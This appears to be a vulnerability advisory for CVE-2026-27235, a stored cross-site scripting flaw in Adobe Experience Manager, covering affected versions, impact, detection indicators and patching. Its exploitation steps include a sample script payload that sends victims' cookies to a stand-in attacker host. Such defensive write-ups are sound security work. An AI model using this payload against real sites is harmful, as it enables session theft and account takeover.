CVE-2026-27235: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2026-27235 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows low-privileged authenticated attackers to inject malicious scripts into vulnerable form fields. Affected versions include AEM on-premises releases up to and including 6.5.23, AEM 6.5 LTS (including SP1), and AEM Cloud Service versions prior to 2026.2.0. The vulnerability was disclosed on March 10–11, 2026, with Adobe releasing a patch as part of security bulletin APSB26-24. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting) and stems from insufficient sanitization of user-supplied input in AEM form fields. An authenticated attacker with low privileges can inject persistent malicious JavaScript into a vulnerable field; the script executes in the browser of any victim who subsequently visits the page containing that field. Exploitation requires user interaction (a victim browsing to the affected page) and operates over the network with low attack complexity and a changed scope, meaning the impact can extend beyond the originating application context (Adobe Advisory, ENISA EUVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim user's browser session within Adobe Experience Manager, potentially leading to session token theft, credential harvesting, unauthorized actions performed on behalf of the victim, and further lateral movement within the AEM environment. The changed scope (S:C) in the CVSS vector indicates that the impact can extend beyond the vulnerable component itself. Confidentiality and integrity are both assessed as low impact, with no direct availability impact (Adobe Advisory).

1. Reconnaissance: Identify an Adobe Experience Manager instance running version 6.5.23 or earlier (on-premises) or AEM Cloud Service prior to 2026.2.0. Confirm the target is accessible and that low-privileged user account registration or access is possible.
2. Authentication: Log in to the AEM instance using a low-privileged (e.g., author or contributor) account.
3. Identify vulnerable form field: Navigate to a content authoring page or form within AEM that accepts and stores user-supplied input without adequate sanitization.
4. Inject malicious payload: Submit a stored XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save/publish the content.
5. Trigger execution: When a victim user (e.g., an administrator or another author) browses to the page containing the injected content, the malicious script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to attacker-controlled infrastructure (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints (e.g., /content/, /editor.html/) from low-privileged accounts containing script tags or encoded JavaScript payloads in request bodies.
• File System / Content Repository: Unexpected <script> tags or JavaScript URIs stored within AEM JCR (Java Content Repository) nodes, particularly in text or rich-text fields of authored pages.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-authored pages; unusual DNS lookups originating from AEM author/publish environments.
• Process/Session: Anomalous session activity for privileged AEM accounts (e.g., administrators) such as unexpected content modifications, user creation, or permission changes that may indicate session hijacking following XSS exploitation.

Adobe has released patches addressing this vulnerability: update AEM on-premises to version 6.5.24.0 or later, and update AEM Cloud Service to version 2026.2.0 or later. Organizations should apply the security update as described in Adobe's bulletin APSB26-24. As interim measures, restrict content authoring privileges to trusted users only and implement network access controls to limit AEM author environment exposure. Content Security Policy (CSP) headers can also reduce XSS risk if patching is delayed (Adobe Advisory, CIS Advisory).

The Center for Internet Security (CIS) issued an advisory noting that multiple vulnerabilities in Adobe products, including this one, could allow for arbitrary code execution, recommending prompt patching (CIS Advisory). Tenable flagged the vulnerability in its plugin pipeline shortly after disclosure. Community coverage was limited to automated vulnerability tracking platforms (CVEFeed, VulDB, Radar Offseq), with no notable independent researcher commentary or significant social media discussion observed.